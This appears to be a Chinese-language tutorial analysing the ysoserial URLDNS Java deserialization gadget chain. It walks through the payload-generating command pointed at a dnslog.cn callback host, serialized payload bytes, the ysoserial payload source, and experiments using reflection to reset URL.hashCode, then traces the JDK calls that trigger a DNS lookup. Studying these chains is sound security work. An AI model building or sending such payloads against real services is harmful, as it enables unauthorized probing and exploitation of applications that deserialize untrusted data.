工具: Java反序列化在线解析
0x01 ysoserial payload讲解
java -jar ysoserial.jar URLDNS http://bg3sza.dnslog.cn > out.bin
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
如下是 out.bin 反序列化之后文件的内容
ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372000C6A6176612E6E65742E55524C962537361AFCE47203000749000868617368436F6465490004706F72744C0009617574686F726974797400124C6A6176612F6C616E672F537472696E673B4C000466696C6571007E00034C0004686F737471007E00034C000870726F746F636F6C71007E00034C000372656671007E00037870FFFFFFFFFFFFFFFF740010626733737A612E646E736C6F672E636E74000071007E0005740004687474707078740017687474703A2F2F626733737A612E646E736C6F672E636E78
通过反序列化工具解析,可以看到HashMap中的key是 java.net.URL 的对象,value 是一个URL。
对应ysoserial构造payload的代码
public class URLDNS implements ObjectPayload<Object> {
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null
}
}
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
}
触发反序列化的方法是readObject,因为Java开发者(包括Java内置库的开发者)经常在这里写自己的逻辑,所以导致可以构造利用链。
0x21 实验一
一个size=0的HashMap反序列化之后是怎么样的?通过下列语句建立一个空的HashMap
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap hm = new HashMap();
File fileObject = new File("hashmap.ser");
try(ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream(fileObject))) {
oss.writeObject(hm);
System.out.println(hm);
} catch (IOException e) {
e.printStackTrace();
}
}
}
得到的 hashmap.ser 文件如下
ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F400000000000007708000000100000000078
0x22 实验二
当向HashMap放入key、value时,解析如下,会比size=0的时候多出两列,即k、v,分别代表着hm.put("k", "v") 中的两个键值。
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap hm = new HashMap();
hm.put("k", "v");
File fileObject = new File("hashmap1.ser");
try (ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream(fileObject))) {
oss.writeObject(hm);
System.out.println(hm);
} catch (IOException e) {
e.printStackTrace();
}
}
}
ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200136A6176612E6C616E672E436861726163746572348B47D96B1A267802000143000576616C7565787000617371007E0002006278
0x23 实验三
在这个实验中,我们向HashMap中的key放入了java.net.URL创建的对象,而value则是 www.value.com,可以见到如下图
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap hm = new HashMap();
URL url = new URL("http://www.baidu.com");
hm.put(url, "www.value.com");
File fileObject = new File("hashmap2.ser");
try (ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream(fileObject))) {
oss.writeObject(hm);
} catch (IOException e) {
e.printStackTrace();
}
}
}
ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372000C6A6176612E6E65742E55524C962537361AFCE47203000749000868617368436F6465490004706F72744C0009617574686F726974797400124C6A6176612F6C616E672F537472696E673B4C000466696C6571007E00034C0004686F737471007E00034C000870726F746F636F6C71007E00034C000372656671007E00037870B49639E3FFFFFFFF74000D7777772E62616964752E636F6D74000071007E000574000468747470707874000D7777772E76616C75652E636F6D78
以上和ysoserial生成的payload的格式已经是一致的了。
但是可见还是有些不同,其中实验三生成的 hashCode=-1265223197,而ysoserial生成的hashCode=-1,显然实验三并不是我们想要的。所以需要将hashCode设置成-1。
0x24 实验四
实验三已经明确需要将hashCode设置为-1,接下来我们具体看下java.net.URL这个类
格式
protocol://username:pass@host:port/path?query#fragment
构造函数
函数名 | 描述 |
URL(String url) | 根据url构建一个URL对象 |
URL(String context, String spec, URLStreamHandler handler) | 通过使用指定上下文中的指定程序解析给定规范来创建URL |
方法
方法 | 描述 |
Object getContent() | 获取此URL的内容 |
int hashCode() | 创建适合哈希表索引的整数 |
public final class URL implements java.io.Serializable {
...
private String protocol;
private String host;
private int port = -1;
private transient String path;
private transient String query;
private String file;
private String authority;
private String ref;
private int hashCode = -1;
}
其中 hashCode为私有成员变量,而且没有类似sethashCode(int value)方法可以进行改变,故只有通过反射的方法进行修改变量。
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap hm = new HashMap();
URL url = new URL("http://www.baidu.com");
hm.put(url, "www.value.com");
Field field = url.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, -1);
File fileObject = new File("hashmap3.ser");
try (ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream(fileObject))) {
oss.writeObject(hm);
} catch (IOException e) {
e.printStackTrace();
}
}
}
通过如下片段来改变url对象中的私有成员hashCode的值,绕过Java语言类的保护
Field field = url.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, -1);
如图,java.net.URL中的私有成员变量已经被我们设置了-1
ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372000C6A6176612E6E65742E55524C962537361AFCE47203000749000868617368436F6465490004706F72744C0009617574686F726974797400124C6A6176612F6C616E672F537472696E673B4C000466696C6571007E00034C0004686F737471007E00034C000870726F746F636F6C71007E00034C000372656671007E00037870FFFFFFFFFFFFFFFF74000D7777772E62616964752E636F6D74000071007E000574000468747470707874000D7777772E76616C75652E636F6D78
0x30 解析URLDNS流程
如下是反序列化过程,我们传入 HashMap 的序列化文件,通过 ois.readObject() 来获取这个类而进行反序列化。不管我们传入的是什么类的对象,都会通过readObject进行反序列化。
public class URLDNS {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
通过调用ois.readObject会调用HashMap.java类中的 readObject方法,而该方法最终会调用putVal方法,ysoserial注释中很明确的说明"During the put above,the URL's hashCode is calculated and cached.This resets that so the next time hashCode is called a DNS lookup will be triggered."。
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V> Cloneable,Serializable {
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
reinitialize();
...
int mappings = s.readInt(); // Read number of mappings (size)
...
// Read the keys and values,and put the mappings in the HashMap
for (int i=0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
putVal(hash(key), key, value, false, false);
深入hash()这个函数可以看到当key == null 不为 true的时候,会调用 (key.hashCode())^(h >>>16)
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这时的key是 java.net.URL 类的对象,所以会调用 java.net.URL 类的方法 hashCode(),如下但hashCode为-1的时候,会调用 handler.hashCode(this)。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
进入函数后会跳转到 URLStreamHandler的 hashCode 方法中,如下所示
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
...
}
其中调用了 getHostAddress(u) 这个函数,会去访问 u 域名指向的IP,
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次
DNS查询。
故 Gadget Chain 如下
HashMap -> readObject()
HashMap -> hash()
URL -> hashCode()
URLStreamHandler -> hashCode()
URLStreamHandler -> getHostAddress()
InetAddress -> getByName()
从反序列化最开始的readObject到最后触发DNS请求的getByName只经过6个函数调用。
通过最初初始化一个 java.net.URL 对象,作为 key 放在 java.util.HashMap中,然后设置这个URL对象的hashCode为初始值-1,这样反序列化时将会重新计算其hashCode,才能触发到后面的DNS请求,否则不会调用URL->hashCode()。
关键难点在于Java的动态性,我们不知道key对应的对象,如果最初不是HashMap,即不会有putVal的调用
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V> Cloneable,Serializable {
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
reinitialize();
...
int mappings = s.readInt(); // Read number of mappings (size)
...
// Read the keys and values,and put the mappings in the HashMap
for (int i=0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
而key对应类的对象如果不是java.net.URL则 也不会走到 getHostAddress 方法中
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
...
}
最终我们要构造出能触发URLDNS的调用可以参考实验四。